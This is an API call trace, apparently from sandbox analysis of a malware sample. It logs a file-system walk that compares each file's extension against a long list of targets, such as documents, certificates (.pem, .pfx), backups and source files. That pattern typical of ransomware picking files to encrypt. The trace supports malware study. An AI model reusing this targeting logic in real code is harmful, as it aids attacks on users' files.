[0081.209] lstrlenW (lpString=".pdd") returned 4 [0081.209] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pdf") returned 4 [0081.209] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pdp") returned 4 [0081.209] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pef") returned 4 [0081.209] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pem") returned 4 [0081.209] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pff") returned 4 [0081.209] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pfm") returned 4 [0081.209] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pfx") returned 4 [0081.209] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pgm") returned 4 [0081.209] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".php") returned 4 [0081.209] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".php3") returned 5 [0081.209] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0081.210] lstrlenW (lpString=".php4") returned 5 [0081.210] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0081.210] lstrlenW (lpString=".php5") returned 5 [0081.210] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0081.210] lstrlenW (lpString=".phtml") returned 6 [0081.210] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0081.210] lstrlenW (lpString=".pict") returned 5 [0081.210] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0081.210] lstrlenW (lpString=".pl") returned 3 [0081.210] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0081.210] lstrlenW (lpString=".pls") returned 4 [0081.210] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0081.210] lstrlenW (lpString=".pm") returned 3 [0081.210] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0081.210] lstrlenW (lpString=".png") returned 4 [0081.210] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0081.210] lstrlenW (lpString=".pnm") returned 4 [0081.210] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0081.210] lstrlenW (lpString=".pot") returned 4 [0081.210] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0081.210] lstrlenW (lpString=".potm") returned 5 [0081.212] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0081.212] lstrlenW (lpString=".potx") returned 5 [0081.212] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0081.212] lstrlenW (lpString=".ppa") returned 4 [0081.213] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0081.213] lstrlenW (lpString=".ppam") returned 5 [0081.213] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0081.213] lstrlenW (lpString=".ppm") returned 4 [0081.213] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0081.213] lstrlenW (lpString=".pps") returned 4 [0081.213] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0081.213] lstrlenW (lpString=".ppsm") returned 5 [0081.213] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0081.213] lstrlenW (lpString=".ppt") returned 4 [0081.213] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0081.213] lstrlenW (lpString=".pptm") returned 5 [0081.213] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0081.213] lstrlenW (lpString=".pptx") returned 5 [0081.213] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0081.213] lstrlenW (lpString=".prn") returned 4 [0081.213] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0081.213] lstrlenW (lpString=".ps") returned 3 [0081.213] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0081.213] lstrlenW (lpString=".psb") returned 4 [0081.213] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0081.213] lstrlenW (lpString=".psd") returned 4 [0081.213] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0081.213] lstrlenW (lpString=".pst") returned 4 [0081.213] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0081.213] lstrlenW (lpString=".ptx") returned 4 [0081.213] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0081.214] lstrlenW (lpString=".pub") returned 4 [0081.214] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0081.214] lstrlenW (lpString=".pwm") returned 4 [0081.214] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0081.214] lstrlenW (lpString=".pxr") returned 4 [0081.214] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0081.214] lstrlenW (lpString=".py") returned 3 [0081.214] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0081.214] lstrlenW (lpString=".qt") returned 3 [0081.214] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0081.214] lstrlenW (lpString=".r3d") returned 4 [0081.214] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0081.214] lstrlenW (lpString=".raf") returned 4 [0081.214] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0081.214] lstrlenW (lpString=".rar") returned 4 [0081.214] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0081.214] lstrlenW (lpString=".raw") returned 4 [0081.214] lstrcmpiW (lpString1=".raw", lpString2=".rtf") returned -1 [0081.214] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0081.215] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0081.215] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0081.215] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0081.215] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0081.215] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0081.215] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0081.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26 [0081.215] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0081.217] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.217] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0081.217] lstrlenW (lpString="eula.rtf") returned 8 [0081.217] lstrlenW (lpString=".1cd") returned 4 [0081.217] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.217] lstrlenW (lpString=".3ds") returned 4 [0081.217] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0081.217] lstrlenW (lpString=".3fr") returned 4 [0081.217] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0081.217] lstrlenW (lpString=".3g2") returned 4 [0081.217] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0081.217] lstrlenW (lpString=".3gp") returned 4 [0081.217] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0081.217] lstrlenW (lpString=".7z") returned 3 [0081.217] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.217] lstrlenW (lpString=".accda") returned 6 [0081.217] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0081.217] lstrlenW (lpString=".accdb") returned 6 [0081.217] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0081.217] lstrlenW (lpString=".accdc") returned 6 [0081.217] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0081.217] lstrlenW (lpString=".accde") returned 6 [0081.217] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0081.217] lstrlenW (lpString=".accdt") returned 6 [0081.218] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0081.218] lstrlenW (lpString=".accdw") returned 6 [0081.218] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0081.218] lstrlenW (lpString=".adb") returned 4 [0081.218] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".adp") returned 4 [0081.218] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".ai") returned 3 [0081.218] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0081.218] lstrlenW (lpString=".ai3") returned 4 [0081.218] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".ai4") returned 4 [0081.218] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".ai5") returned 4 [0081.218] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".ai6") returned 4 [0081.218] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".ai7") returned 4 [0081.218] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".ai8") returned 4 [0081.218] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".anim") returned 5 [0081.218] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0081.218] lstrlenW (lpString=".arw") returned 4 [0081.218] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0081.218] lstrlenW (lpString=".as") returned 3 [0081.219] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0081.219] lstrlenW (lpString=".asa") returned 4 [0081.219] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0081.219] lstrlenW (lpString=".asc") returned 4 [0081.219] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0081.219] lstrlenW (lpString=".ascx") returned 5 [0081.219] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0081.219] lstrlenW (lpString=".asm") returned 4 [0081.219] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0081.219] lstrlenW (lpString=".asmx") returned 5 [0081.219] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0081.219] lstrlenW (lpString=".asp") returned 4 [0081.219] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0081.219] lstrlenW (lpString=".aspx") returned 5 [0081.219] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0081.219] lstrlenW (lpString=".asr") returned 4 [0081.219] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0081.219] lstrlenW (lpString=".asx") returned 4 [0081.219] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0081.219] lstrlenW (lpString=".avi") returned 4 [0081.219] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0081.219] lstrlenW (lpString=".avs") returned 4 [0081.219] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0081.219] lstrlenW (lpString=".backup") returned 7 [0081.219] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0081.219] lstrlenW (lpString=".bak") returned 4 [0081.219] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".bay") returned 4 [0081.220] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".bd") returned 3 [0081.220] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0081.220] lstrlenW (lpString=".bin") returned 4 [0081.220] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".bmp") returned 4 [0081.220] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".bz2") returned 4 [0081.220] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".c") returned 2 [0081.220] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0081.220] lstrlenW (lpString=".cdr") returned 4 [0081.220] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".cer") returned 4 [0081.220] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".cf") returned 3 [0081.220] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0081.220] lstrlenW (lpString=".cfc") returned 4 [0081.220] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".cfm") returned 4 [0081.220] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".cfml") returned 5 [0081.220] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0081.220] lstrlenW (lpString=".cfu") returned 4 [0081.220] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0081.220] lstrlenW (lpString=".chm") returned 4 [0081.221] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".cin") returned 4 [0081.221] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".class") returned 6 [0081.221] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0081.221] lstrlenW (lpString=".clx") returned 4 [0081.221] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".config") returned 7 [0081.221] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0081.221] lstrlenW (lpString=".cpp") returned 4 [0081.221] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".cr2") returned 4 [0081.221] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".crt") returned 4 [0081.221] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".crw") returned 4 [0081.221] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".cs") returned 3 [0081.221] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0081.221] lstrlenW (lpString=".css") returned 4 [0081.221] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".csv") returned 4 [0081.221] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".cub") returned 4 [0081.221] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0081.221] lstrlenW (lpString=".dae") returned 4 [0081.222] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".dat") returned 4 [0081.222] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".db") returned 3 [0081.222] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0081.222] lstrlenW (lpString=".dbf") returned 4 [0081.222] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".dbx") returned 4 [0081.222] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".dc3") returned 4 [0081.222] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".dcm") returned 4 [0081.222] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".dcr") returned 4 [0081.222] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".der") returned 4 [0081.222] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".dib") returned 4 [0081.222] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".dic") returned 4 [0081.222] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".dif") returned 4 [0081.222] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0081.222] lstrlenW (lpString=".divx") returned 5 [0081.222] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0081.222] lstrlenW (lpString=".djvu") returned 5 [0081.222] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0081.223] lstrlenW (lpString=".dng") returned 4 [0081.223] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0081.223] lstrlenW (lpString=".doc") returned 4 [0081.223] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0081.223] lstrlenW (lpString=".docm") returned 5 [0081.223] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0081.223] lstrlenW (lpString=".docx") returned 5 [0081.223] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0081.223] lstrlenW (lpString=".dot") returned 4 [0081.223] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0081.223] lstrlenW (lpString=".dotm") returned 5 [0081.223] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0081.223] lstrlenW (lpString=".dotx") returned 5 [0081.223] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0081.223] lstrlenW (lpString=".dpx") returned 4 [0081.223] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0081.223] lstrlenW (lpString=".dqy") returned 4 [0081.223] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0081.223] lstrlenW (lpString=".dsn") returned 4 [0081.223] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0081.223] lstrlenW (lpString=".dt") returned 3 [0081.223] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0081.223] lstrlenW (lpString=".dtd") returned 4 [0081.223] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0081.223] lstrlenW (lpString=".dwg") returned 4 [0081.223] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0081.223] lstrlenW (lpString=".dwt") returned 4 [0081.224] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".dx") returned 3 [0081.224] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0081.224] lstrlenW (lpString=".dxf") returned 4 [0081.224] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".edml") returned 5 [0081.224] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0081.224] lstrlenW (lpString=".efd") returned 4 [0081.224] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".elf") returned 4 [0081.224] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".emf") returned 4 [0081.224] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".emz") returned 4 [0081.224] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".epf") returned 4 [0081.224] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".eps") returned 4 [0081.224] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".epsf") returned 5 [0081.224] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0081.224] lstrlenW (lpString=".epsp") returned 5 [0081.224] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0081.224] lstrlenW (lpString=".erf") returned 4 [0081.224] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0081.224] lstrlenW (lpString=".exr") returned 4 [0081.225] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".f4v") returned 4 [0081.225] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".fido") returned 5 [0081.225] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0081.225] lstrlenW (lpString=".flm") returned 4 [0081.225] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".flv") returned 4 [0081.225] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".frm") returned 4 [0081.225] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".fxg") returned 4 [0081.225] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".geo") returned 4 [0081.225] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".gif") returned 4 [0081.225] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".grs") returned 4 [0081.225] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".gz") returned 3 [0081.225] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0081.225] lstrlenW (lpString=".h") returned 2 [0081.225] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0081.225] lstrlenW (lpString=".hdr") returned 4 [0081.225] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".hpp") returned 4 [0081.225] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0081.225] lstrlenW (lpString=".hta") returned 4 [0081.226] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".htc") returned 4 [0081.226] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".htm") returned 4 [0081.226] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".html") returned 5 [0081.226] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0081.226] lstrlenW (lpString=".icb") returned 4 [0081.226] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".ics") returned 4 [0081.226] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".iff") returned 4 [0081.226] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".inc") returned 4 [0081.226] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".indd") returned 5 [0081.226] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0081.226] lstrlenW (lpString=".ini") returned 4 [0081.226] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".iqy") returned 4 [0081.226] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".j2c") returned 4 [0081.226] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".j2k") returned 4 [0081.226] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0081.226] lstrlenW (lpString=".java") returned 5 [0081.227] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0081.227] lstrlenW (lpString=".jp2") returned 4 [0081.227] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".jpc") returned 4 [0081.227] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".jpe") returned 4 [0081.227] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".jpeg") returned 5 [0081.227] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0081.227] lstrlenW (lpString=".jpf") returned 4 [0081.227] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".jpg") returned 4 [0081.227] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".jpx") returned 4 [0081.227] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".js") returned 3 [0081.227] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0081.227] lstrlenW (lpString=".jsf") returned 4 [0081.227] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".json") returned 5 [0081.227] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0081.227] lstrlenW (lpString=".jsp") returned 4 [0081.227] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".kdc") returned 4 [0081.227] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0081.227] lstrlenW (lpString=".kmz") returned 4 [0081.228] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 